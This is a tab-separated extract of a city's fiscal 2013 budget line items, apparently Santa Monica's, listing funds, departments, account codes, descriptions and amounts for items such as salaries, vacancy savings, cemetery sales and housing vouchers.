2648	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	578330.0	PORTABLE ADMIN FEES	816.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
2649	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	645934.0	0	0.0	0.0	0	0	0.0	6459	0.0	0	0	0.0	652393.0
2650	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2013	45000.0	0	0.0	0.0	0	0	0.0	0	0.0	-45000	0	0.0	0.0
2651	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	408060.0	TOBACCO RETAILER LICENSE	608.0	Licenses and Permits	2013	-28099.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-28099.0
2652	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577840.0	ASSESSMENTS FOR CITY-OWNED PRO	820.0	 Supplies and Expenses	2013	447515.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	447515.0
2653	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	555210.0	TRAINING	806.0	 Supplies and Expenses	2013	12342.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12342.0
2654	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	522620.0	RENT	808.0	 Supplies and Expenses	2013	37000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	37000.0
2655	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2013	170000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	170000.0
2656	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	406794.0	08 UASI GRANT	610.0	Intergovernmental	2013	0.0	0	0.0	-162889.0	0	0	0.0	0	0.0	0	0	0.0	-162889.0
2657	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	560020.0	DOWNSPOUT REDIRECT	808.0	 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
2658	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401750.0	MUSEUM UTILITY REIMBURSE	622.0	Other	2013	-6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6000.0
2659	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511560.0	CAPITALIZED LABOR		Salaries and Wages	2013	-1600000.0	0	0.0	0.0	0	0	0.0	-16000	0.0	0	0	0.0	-1616000.0
2660	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2013	725.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	725.0
2661	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	544870.0	PARKING CITATION COSTS	804.0	 Supplies and Expenses	2013	1500000.0	0	0.0	0.0	0	0	0.0	0	0.0	-1500000	0	0.0	0.0
2662	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	406795.0	09 UASI GRANT	610.0	Intergovernmental	2013	0.0	0	-99378.0	6162.0	0	0	0.0	0	0.0	0	0	0.0	-93216.0
2663	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522530.0	PARKING OUTREACH	804.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	-10000	0	0.0	0.0
2664	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	404420.0	5TH AND ARIZONA PARKING	608.0	Licenses and Permits	2013	-400000.0	0	0.0	0.0	0	0	0.0	0	0.0	400000	0	0.0	0.0
2665	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	407691.0	TAXI FRANCHISE FEES	612.0	Charges for Service	2013	-355000.0	0	0.0	0.0	0	0	0.0	0	0.0	33600	0	321400.0	0.0
2666	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	806.0	 Supplies and Expenses	2013	255.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	255.0
2667	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2013	7060.0	0	0.0	0.0	0	0	0.0	71	0.0	0	0	0.0	7131.0
2668	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		EAP		Salaries and Wages	2013	622.0	0	0.0	-4.0	0	0	0.0	0	0.0	0	0	0.0	618.0
2669	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
2670	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2013	195053.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	195053.0
2671	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2013	61500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	61500.0
2672	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	400600.0	OVERSIZE LOAD	612.0	Charges for Service	2013	-55071.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-55071.0
2673	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408010.0	REVIEW OF PLANNING APPLICATION	612.0	Charges for Service	2013	-11000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-11000.0
2674	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-15354.0	0	0.0	1306.0	0	0	0.0	0	0.0	0	0	0.0	-14048.0
2675	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-2411.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2411.0
2676	B1	IS	1	General Fund	310	FIRE	315	TRAINING		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2013	-2009.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2009.0
2677	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2013	-3982.0	0	0.0	0.0	0	0	0.0	-474	0.0	0	0	0.0	-4456.0
2678	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2013	-6568.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6568.0
2679	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2013	-3918.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-3918.0
2680	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2013	-2813.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2813.0
2681	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER		EMPLOYEE HEALTH CONTRIBUTION	840.0	Salaries and Wages	2013	-13695.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-13695.0
2682	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-3433.0	0	0.0	0.0	0	0	0.0	235	0.0	0	0	0.0	-3198.0
2683	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-30631.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-30631.0
2684	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522110.0	UTIL - LIGHT / POWER	804.0	 Supplies and Expenses	2013	2285.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2285.0
2685	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522130.0	UTILITIES - WATER	804.0	 Supplies and Expenses	2013	2754.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2754.0
2686	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402790.0	VAULT SALES	650.0	Charges for Service	2013	-62220.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-62220.0
2687	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402810.0	URN SALES	650.0	Charges for Service	2013	-18000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-18000.0
2688	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556140.0	SOLD VAULTS	808.0	 Supplies and Expenses	2013	35000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	35000.0
2689	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556150.0	SOLD NAME PLATES/BENCHES	808.0	 Supplies and Expenses	2013	8000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8000.0
2690	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556180.0	EMBALMING SUPPLIES/EQUIPMENT	808.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
2691	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556190.0	MISC SERVICES/SALES	808.0	 Supplies and Expenses	2013	33500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	33500.0
2692	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2013	8652.0	0	0.0	0.0	0	0	0.0	-19	0.0	0	0	0.0	8633.0
2693	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	87834.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	87834.0
2694	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	22000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	-9000	0.0	13000.0
2695	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2013	1600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1600.0
2696	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-2311.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2311.0
2697	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	560060.0	UNIFORMS AND MAINTENANCE		 Supplies and Expenses	2013	10620.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10620.0
2698	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	560050.0	TOOL ALLOWANCE		 Supplies and Expenses	2013	27000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	27000.0
2699	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	408150.0	ALT FUEL TAX CREDIT	662.0	Other	2013	-158150.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-158150.0
2700	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-193388.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-193388.0
2701	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2013	-22268.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-22268.0
2702	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2013	-62002.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-62002.0
2703	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2013	-671221.0	0	0.0	0.0	0	0	0.0	62635	0.0	0	0	0.0	-608586.0
2704	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2013	-282620.0	0	0.0	0.0	0	0	0.0	9006	0.0	0	0	0.0	-273614.0
2705	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2013	-11890.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-11890.0
2706	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2013	-19228.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-19228.0
2707	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511900.0	VACANCY SAVINGS	812.0	Salaries and Wages	2013	-60432.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-60432.0
2708	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511900.0	VACANCY SAVINGS	840.0	Salaries and Wages	2013	-13134.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-13134.0
2709	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511900.0	VACANCY SAVINGS		Salaries and Wages	2013	-18807.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-18807.0
2710	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	408220.0	PUBLIC NOTIFICATION REVENUE	612.0	Charges for Service	2013	-9416.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-9416.0
2711	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2013	50375.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50375.0
2712	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2013	26500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	26500.0
2713	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	10337.0	0	0.0	0.0	0	0	0.0	103	0.0	0	0	0.0	10440.0
2714	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	143206.0	0	0.0	0.0	0	0	0.0	1432	0.0	0	0	0.0	144638.0
2715	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	2500	0.0	0	0	0.0	2500.0
2716	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	2500	0.0	0	0	0.0	2500.0
2717	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577344.0	HAP-VOUCHER	816.0	 Supplies and Expenses	2013	12800610.0	0	0.0	0.0	0	0	0.0	-188710	0.0	0	0	0.0	12611900.0
2718	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	555210.0	TRAINING		 Supplies and Expenses	2013	800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	800.0
2719	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	12090.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12090.0
2720	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511749.0	VISION	804.0	Salaries and Wages	2013	945.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	945.0
2721	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	4604.0	0	0.0	0.0	0	0	0.0	46	0.0	0	0	0.0	4650.0
2722	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2013	1535.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1535.0
2723	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	1355.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1355.0
2724	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2013	1006.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1006.0
2725	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2013	10165.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10165.0
2726	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571130.0	S+C HAP SUO5	816.0	 Supplies and Expenses	2013	283911.0	0	0.0	0.0	0	0	0.0	25950	0.0	0	0	0.0	309861.0
2727	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	578830.0	LLEBG GRANT	806.0	 Supplies and Expenses	2013	0.0	0	0.0	25243.0	0	0	0.0	0	0.0	0	0	0.0	25243.0
2728	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-8961.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-8961.0
2729	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-14331.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-14331.0
2730	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511900.0	VACANCY SAVINGS	812.0	Salaries and Wages	2013	-36408.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-36408.0
2731	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-6985.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6985.0
2732	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		EAP	804.0	Salaries and Wages	2013	313.0	0	0.0	0.0	0	0	0.0	33	0.0	0	0	0.0	346.0
2733	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533230.0	SECURITY SYSTEMS	804.0	 Supplies and Expenses	2013	750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	750.0
2734	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511749.0	VISION	804.0	Salaries and Wages	2013	945.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	945.0
2735	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-20661.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-20661.0
2736	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		UNEMPLOYMENT	804.0	Salaries and Wages	2013	3416.0	0	0.0	0.0	0	0	0.0	34	0.0	0	0	0.0	3450.0
2737	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	579260.0	INTERNET/WWW SERVICES	804.0	 Supplies and Expenses	2013	41000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	41000.0
2738	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401780.0	PICNIC AREA PERMITS	612.0	Charges for Service	2013	-10667.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-10667.0
2739	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	522950.0	CNG FUEL	816.0	 Supplies and Expenses	2013	1469.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1469.0
2740	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2013	5510.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5510.0
2741	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	555210.0	TRAINING	816.0	 Supplies and Expenses	2013	4500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4500.0
2742	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 HAP VOUCHERS	610.0	Intergovernmental	2013	-12888710.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-12888710.0
2743	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562162.0	JEWISH VOCATIONAL SERVICE		 Supplies and Expenses	2013	51743.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	51743.0
2744	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563128.0	PARATRANSIT PROGRAM-GENERAL FD		 Supplies and Expenses	2013	92578.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	92578.0
2745	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569222.0	RUSKIN GROUP THEATRE	810.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
2746	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2013	5100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5100.0
2747	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2013	120462.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	120462.0
2748	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	409080.0	ADULT SOCCER LEAGUE	612.0	Charges for Service	2013	-245999.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-245999.0
2749	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		DISABILITY INSURANCE		Salaries and Wages	2013	1547.0	0	0.0	0.0	0	0	0.0	15	0.0	0	0	0.0	1562.0
2750	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522120.0	UTILITIES - NATURAL GAS		 Supplies and Expenses	2013	6400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6400.0
2751	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	544090.0	MEDICAL/FIRST AID SUPPLIES		 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
2752	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	6551.0	0	0.0	0.0	0	0	0.0	66	0.0	0	0	0.0	6617.0
2753	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		UNEMPLOYMENT	804.0	Salaries and Wages	2013	2128.0	0	0.0	0.0	0	0	0.0	21	0.0	0	0	0.0	2149.0
2754	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511749.0	VISION	804.0	Salaries and Wages	2013	372.0	0	0.0	0.0	0	0	0.0	54	0.0	0	0	0.0	426.0
2755	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		DCAP	804.0	Salaries and Wages	2013	189.0	0	0.0	0.0	0	0	0.0	25	0.0	0	0	0.0	214.0
2756	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	588110.0	TRAFFIC CONTROL EQUIPMENT	816.0	 Supplies and Expenses	2013	27366.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	27366.0
2757	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	578839.0	JUSTICE ASSIST GRANT 2012-OT	806.0	 Supplies and Expenses	2013	33776.0	0	0.0	115.52	0	0	0.0	0	0.0	0	0	0.0	33891.52
2758	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-LIGHT/POWER-STREET LIGHTS	808.0	 Supplies and Expenses	2013	1001148.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1001148.0
2759	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		EAP	804.0	Salaries and Wages	2013	1044.0	0	0.0	0.0	0	0	0.0	50	0.0	0	0	0.0	1094.0
2760	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	14129.0	0	0.0	147.0	0	0	0.0	143	0.0	0	0	0.0	14419.0
2761	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	17381.0	0	0.0	-38.0	0	0	0.0	0	0.0	0	0	0.0	17343.0
2762	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2013	10445.0	0	0.0	0.0	0	0	0.0	104	0.0	0	0	0.0	10549.0
2763	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522720.0	MILEAGE	804.0	 Supplies and Expenses	2013	250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	250.0
2764	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
